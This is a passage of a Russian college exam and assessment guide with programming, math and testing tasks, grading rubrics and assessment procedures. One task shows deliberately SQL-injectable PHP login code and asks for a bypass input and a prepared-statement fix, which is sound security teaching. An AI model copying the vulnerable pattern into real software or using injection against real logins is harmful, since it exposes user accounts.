1. Надежность; 2. Удобство использования; 3. Производительность	1. Отказ оборудования — поломка жесткого диска; 2. Ошибки в ПО — необработанное исключение в коде; 3. Сбои питания — внезапное отключение электроэнергии; 4. Действия злоумышленников — DDoS-атака	Временная избыточность — это повторное выполнение операции при возникновении сбоя. Пример: если при отправке данных произошла ошибка, система автоматически повторяет отправку через определенный интервал времени.	1. Сигнатурный метод — поиск по известным образцам (сигнатурам) вредоносного кода. 2. Эвристический метод — анализ поведения программы, выявление подозрительных действий (например, попытка изменить системные файлы).	Симметричное шифрование: один ключ для шифрования и расшифрования; быстрее, но сложнее безопасно передать ключ. Асимметричное шифрование: пара ключей (открытый и закрытый); медленнее, но не требует передачи секретного ключа. Симметричное применяется для шифрования больших объемов данных, асимметричное — для передачи ключей

				и цифровой подписи.
--	--	--	--	---------------------

Оценочные средства для проведения экзамена по модулю

Экзамен состоит из двух частей:

1. **Практическое задание** – выполнение комплексного задания (25–30 минут)
2. **Теоретическое собеседование** – ответы на 2–3 вопроса по выполненному заданию (10–15 минут)

Вариант 1. Разработка модуля (ООП)

Задание: Создайте класс «Калькулятор» с методами:

- add(a, b) — сложение
- subtract(a, b) — вычитание
- multiply(a, b) — умножение
- divide(a, b) — деление (с проверкой деления на ноль)

Напишите код на языке PHP, Java, C# или Python (по выбору). Продемонстрируйте работу всех методов.

Ожидаемый результат: код класса и пример вызова методов.

Вопросы для собеседования (по Варианту 1):

1. Что такое класс и объект в объектно-ориентированном программировании?
2. Что такое инкапсуляция? Как она реализована в вашем коде?
3. Зачем нужна проверка деления на ноль?

Вариант 2. Работа с массивами и алгоритмами

Задание: Напишите функцию, которая принимает массив чисел и возвращает:

- Сумму всех элементов
- Максимальный элемент
- Отсортированный по возрастанию массив

Ожидаемый результат: код функции и пример ее вызова.

Вопросы для собеседования (по Варианту 2):

1. Как вы нашли максимальный элемент в массиве?
2. Какой алгоритм сортировки вы использовали? Почему?
3. Что будет, если передать в функцию пустой массив?

Вариант 3. Тестирование модуля

Задание: Напишите модульные тесты для функции isEven(n), которая возвращает true, если число четное, и false, если нечетное. Используйте любой фреймворк для тестирования (JUnit, pytest, PHPUnit) или напишите простые функции-проверки.

Требуется проверить:

- n = 4 → true
- n = 5 → false
- n = 0 → true
- n = -2 → true

Ожидаемый результат: код тестов с пояснением.

Вопросы для собеседования (по Варианту 3):

1. Что такое модульное тестирование и зачем оно нужно?
2. Какие случаи вы проверили в своих тестах?
3. Что такое граничные значения? Приведите пример для функции isEven.

Вариант 4. Интеграция (REST API)

Задание: Напишите код (JavaScript или PHP), который отправляет GET-запрос к публичному API <https://jsonplaceholder.typicode.com/posts/1> и выводит в консоль заголовков (title) полученного поста.

Ожидаемый результат: код запроса и обработки ответа.

Вопросы для собеседования (по Варианту 4):

1. Что такое REST API? Какие методы HTTP вы знаете?
2. Какой формат данных обычно используется в REST API?
3. Как обработать ошибку, если сервер недоступен?

Вариант 5. Безопасность (SQL-инъекция)

Задание: Дан уязвимый PHP-код:

```
php
$user = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE login='$user' AND password='$password'";
```

Напишите:

1. Пример вредоносного ввода для обхода аутентификации
2. Исправленный безопасный вариант кода с использованием подготовленных запросов (PDO или mysqli)

Ожидаемый результат: два фрагмента кода и краткое пояснение.

Вопросы для собеседования (по Варианту 5):

1. Что такое SQL-инъекция и чем она опасна?
2. Как работает подготовленный запрос (prepared statement)?
3. Почему нельзя просто экранировать кавычки?

Вариант 6. Численные методы

Задание: Напишите функцию, которая вычисляет квадратный корень числа методом Ньютона (итерационная формула: $x_{n+1} = (x_n + a/x_n)/2$). Выполните 5 итераций для числа $a = 16$, начиная с $x_0 = 8$.

Ожидаемый результат: значения x на каждой итерации и конечный результат.

Вопросы для собеседования (по Варианту 6):

1. Как работает метод Ньютона для вычисления корня?
2. Что такое итерационный процесс?
3. Как определить, что достигнута нужная точность?

Вариант 7. Математическое моделирование

Задание: В банке работает один кассир. Клиенты приходят в среднем каждые 6 минут, кассир обслуживает одного клиента в среднем 5 минут.

1. Будет ли расти очередь? Ответ обоснуйте.
2. Рассчитайте среднее время ожидания в очереди (используйте формулу для системы M/M/1)

Ожидаемый результат: ответы с расчетами.

Вопросы для собеседования (по Варианту 7):

1. Что такое интенсивность потока заявок и интенсивность обслуживания?
2. Как определить, будет ли расти очередь?
3. От каких параметров зависит среднее время ожидания?

Вариант 8. Качество и надежность

Задание: Напишите функцию для расчета надежности системы за время t , если известно, что интенсивность отказов $\lambda = 0.01$ (по экспоненциальному закону: $R(t) = e^{-\lambda t}$). Рассчитайте надежность для $t = 10, 50, 100$ часов.

Ожидаемый результат: расчеты и краткий вывод.

Вопросы для собеседования (по Варианту 8):

1. Что такое надежность системы и как она измеряется?
2. Какой закон распределения используется для описания внезапных отказов?
3. Что означает значение надежности 0.37 при $t = 100$?

Вариант 9. Технология разработки ПО

Задание: Составьте фрагмент технического задания (ТЗ) для разрабатываемого модуля «Авторизация пользователя». Укажите:

- Функциональные требования (не менее 3)
- Нефункциональные требования (не менее 2)

Ожидаемый результат: список требований.

Вопросы для собеседования (по Варианту 9):

1. Чем отличаются функциональные требования от нефункциональных?
2. Почему важно документировать требования?
3. Какие методы сбора требований вы знаете?

Вариант 10. Поддержка и тестирование

Задание: Составьте тест-план для проверки формы регистрации. Укажите:

- Что проверяется (поля: логин, пароль, email)
- Не менее 3 тест-кейсов (входные данные и ожидаемый результат)
- Один тест для проверки граничного значения (длина пароля)

Ожидаемый результат: описание тест-кейсов.

Вопросы для собеседования (по Варианту 10):

1. Что такое тест-кейс и из каких элементов он состоит?
2. Что такое граничные значения? Приведите пример.
3. Что такое регрессионное тестирование?

**5. Критерии и шкала оценивания компетенций на различных этапах их формирования
КРИТЕРИИ И ШКАЛА ОЦЕНИВАНИЯ ОТВЕТОВ НА УСТНЫЕ ВОПРОСЫ**

№ п/п	Критерии оценивания	Шкала оценивания
1.	1) полно и аргументированно отвечает по содержанию задания; 2) обнаруживает понимание материала, может обосновать свои суждения, применить знания на практике, привести необходимые примеры не только по учебнику, но и самостоятельно составленные; 3) излагает материал последовательно и правильно.	отлично
2.	студент дает ответ, удовлетворяющий тем же требованиям, что и для оценки «5», но допускает 1-2 ошибки, которые сам же исправляет.	хорошо
3.	ставится, если студент обнаруживает знание и понимание основных положений данного задания, но: 1) излагает материал неполно и допускает неточности в определении понятий или формулировке правил; 2) не умеет достаточно глубоко и доказательно обосновать свои суждения и привести свои примеры; 3) излагает материал непоследовательно и допускает ошибки.	удовлетворительно
4.	студент обнаруживает незнание ответа на соответствующее задание, допускает ошибки в формулировке определений и правил, искажающие их смысл, беспорядочно и неуверенно излагает материал; отмечаются такие недостатки в подготовке студента, которые являются серьезным препятствием к успешному овладению последующим материалом.	неудовлетворительно

КРИТЕРИИ И ШКАЛА ОЦЕНИВАНИЯ РЕЗУЛЬТАТОВ ТЕСТИРОВАНИЯ

№ п/п	тестовые нормы: % правильных ответов	Шкала оценивания
1	85-100 %	отлично
2	70-84%	хорошо
3	51-69%	удовлетворительно
4	менее 50%	неудовлетворительно

КРИТЕРИИ И ШКАЛА ОЦЕНИВАНИЯ РЕФЕРАТА, СООБЩЕНИЯ

№ п/п	Критерии оценивания	Шкала оценивания
1.	ответ аргументирован, обоснован и дана самостоятельная оценка изученного материала	отлично
2.	ответ аргументирован, последователен, но допущены некоторые неточности	хорошо
3.	ответ является неполным и имеет существенные логические несоответствия	удовлетворительно
4.	в ответе отсутствует аргументация, тема не раскрыта	неудовлетворительно

КРИТЕРИИ И ШКАЛА ОЦЕНИВАНИЯ КОНТРОЛЬНЫХ ВОПРОСОВ ПО ТЕМАТИКЕ УЧЕБНОЙ ДИСЦИПЛИНЫ

№ п/п	Критерии оценивания	Шкала оценивания
1	Оценка «отлично» выставляется студенту, если он глубоко и прочно усвоил программный материал, исчерпывающе, последовательно, четко и логически стройно его излагает, умеет тесно увязывать теорию с практикой, свободно справляется с задачами, вопросами и другими видами применения знаний, причем не затрудняется с ответом при видоизменении заданий, использует в ответе материал различной литературы, правильно обосновывает принятое нестандартное решение, владеет разносторонними навыками и приемами выполнения практических задач по формированию общепрофессиональных компетенций.	<i>«отлично» / зачтено</i>
2	Оценка «хорошо» выставляется студенту, если он твердо знает материал, грамотно и по существу излагает его, не допуская существенных неточностей в ответе на вопрос, правильно применяет теоретические положения при решении практических вопросов и задач, владеет необходимыми навыками и приемами их выполнения, а также имеет достаточно полное представление о значимости знаний по дисциплине.	<i>«хорошо» / зачтено</i>

3	Оценка «удовлетворительно» выставляется студенту, если он имеет знания только основного материала, но не усвоил его деталей, допускает неточности, недостаточно правильные формулировки, нарушения логической последовательности в изложении программного материала, испытывает сложности при выполнении практических работ и затрудняется связать теорию вопроса с практикой.	«удовлетворительно» / <i>зачтено</i>
4	Оценка «неудовлетворительно» выставляется студенту, который не знает значительной части программного материала, неуверенно отвечает, допускает серьезные ошибки, не имеет представлений по методике выполнения практической работы. Как правило, оценка «неудовлетворительно» ставится студентам, которые не могут продолжить обучение без дополнительных занятий по данной дисциплине.	«неудовлетворительно» / <i>незачтено</i>

КРИТЕРИИ И ШКАЛА ОЦЕНИВАНИЯ УРОВНЕЙ ОСВОЕНИЯ КОМПЕТЕНЦИЙ

Шкала оценивания	Уровень освоённости компетенции	Критерии освоения компетенции
зачтено	высокий	студент, овладел элементами компетенции «знать», «уметь», проявил всесторонние и глубокие знания программного материала по дисциплине, освоил основную и дополнительную литературу, обнаружил творческие способности в понимании, изложении и практическом использовании усвоенных знаний.
зачтено	базовый	студент овладел элементами компетенции «знать» и «уметь», проявил полное знание программного материала по дисциплине, освоил основную рекомендованную литературу, обнаружил стабильный характер знаний и умений и проявил способности к их самостоятельному применению и обновлению в ходе последующего обучения и практической деятельности.
зачтено	нормативный	студент овладел элементами компетенции «знать», проявил знания основного программного материала по дисциплине в объеме, необходимом для последующего обучения и предстоящей практической деятельности, изучил основную рекомендованную литературу, допустил неточности в ответе на экзамене, но в основном обладает необходимыми знаниями для их устранения при корректировке со стороны экзаменатора.

незачтено	компетенции не сформированы	студент не овладел ни одним из элементов компетенции, обнаружил существенные пробелы в знании основного программного материала по дисциплине, допустил принципиальные ошибки при применении теоретических знаний, которые не позволяют ему продолжить обучение или приступить к практической деятельности без дополнительной подготовки по данной дисциплине.
-----------	-----------------------------	---

Шкала оценивания	Уровень освоения компетенции	Критерии освоения компетенции
отлично	высокий	студент, овладел элементами компетенции «знать», «уметь», проявил всесторонние и глубокие знания программного материала по дисциплине, освоил основную и дополнительную литературу, обнаружил творческие способности в понимании, изложении и практическом использовании усвоенных знаний.
хорошо	базовый	студент овладел элементами компетенции «знать» и «уметь», проявил полное знание программного материала по дисциплине, освоил основную рекомендованную литературу, обнаружил стабильный характер знаний и умений и проявил способности к их самостоятельному применению и обновлению в ходе последующего обучения и практической деятельности.
удовлетворительно	нормативный	студент овладел элементами компетенции «знать», проявил знания основного программного материала по дисциплине в объеме, необходимом для последующего обучения и предстоящей практической деятельности, изучил основную рекомендованную литературу, допустил неточности в ответе на экзамене, но в основном обладает необходимыми знаниями для их устранения при корректировке со стороны экзаменатора.

неудовлетво- рительно	компетенции сформированы	не	студент не овладел ни одним из элементов компетенции, обнаружил существенные пробелы в знании основного программного материала по дисциплине, допустил принципиальные ошибки при применении теоретических знаний, которые не позволяют ему продолжить обучение или приступить к практической деятельности без дополнительной подготовки по данной дисциплине.
--------------------------	-----------------------------	----	---

6. Описание процедуры оценивания знаний и умений, характеризующих этапы формирования компетенций

Оценка знаний, умений, навыков, характеризующих этапы формирования компетенций по дисциплине, осуществляется в ходе текущего и промежуточного контроля. Текущий контроль организуется в формах: устного опроса (беседы, индивидуального опроса), защиты рефератов, сообщений; тестирования.

Промежуточная аттестация осуществляется в форме дифференцированного зачета, экзамена, экзамена по модулю. Каждая форма промежуточного контроля должна включать в себя вопросы, позволяющие оценить уровень освоения студентами знаний.

Процедура оценивания компетенций обучающихся основана на следующих принципах: периодичности проведения оценки, многоступенчатости оценки по устранению недостатков, единства используемой технологии для всех обучающихся, выполнения условий сопоставимости результатов оценивания, соблюдения последовательности проведения оценки.

Краткая характеристика процедуры реализации текущего контроля и промежуточной аттестации для оценки компетенций обучающихся включает:

сообщение - продукт самостоятельной работы студента, представляющий собой публичное выступление по представлению полученных результатов решения определенной учебно-практической, учебно-исследовательской или научной темы. Подготовка осуществляется во внеурочное время. В оценивании результата наравне с преподавателем могут принимать участие студенты группы.

устный опрос – устный опрос по основным терминам может проводиться в начале/конце лекционного или практического занятия в течении 15-20 мин. Либо устный опрос проводится в течение всего практического занятия по заранее выданной тематике.

тестовые задания – позволяют оценить уровень знаний студентами теоретического материала по дисциплине. Осуществляется на бумажных носителях по вариантам.

реферат - продукт самостоятельной работы студента, представляющий собой краткое изложение в письменном виде полученных результатов теоретического анализа определенной научной (учебно-исследовательской) темы, где автор раскрывает суть исследуемой проблемы, приводит различные точки зрения, а также собственные взгляды на нее. Защита реферата проводится на занятии.

Изложенное понимание реферата как целостного авторского текста определяет критерии его оценки: новизна текста; обоснованность выбора источника; степень раскрытия сущности вопроса; соблюдения требований к оформлению.

Новизна текста: а) актуальность темы исследования; б) новизна и самостоятельность в постановке проблемы, формулирование нового аспекта известной проблемы в установлении новых связей (межпредметных, внутрипредметных, интеграционных); в) умение работать с исследованиями, критической литературой, систематизировать и структурировать материал; г) явленность авторской позиции, самостоятельность оценок и суждений; д) стилевое единство текста, единство жанровых черт.

Степень раскрытия сущности вопроса: а) соответствие плана теме реферата; б) соответствие содержания теме и плану реферата; в) полнота и глубина знаний по теме; г) обоснованность способов и методов работы с материалом; е) умение обобщать, делать выводы, сопоставлять различные точки зрения по одному вопросу (проблеме).

Обоснованность выбора источников: а) оценка использованной литературы: привлечены ли наиболее известные работы по теме исследования (в т.ч. журнальные публикации последних лет, интернет-ресурсы и т.д.).

Соблюдение требований к оформлению: а) насколько верно оформлены ссылки на используемую литературу, список литературы; б) оценка грамотности и культуры изложения.

Дифференцированный зачет, экзамен проводятся в срок согласно графику учебного процесса.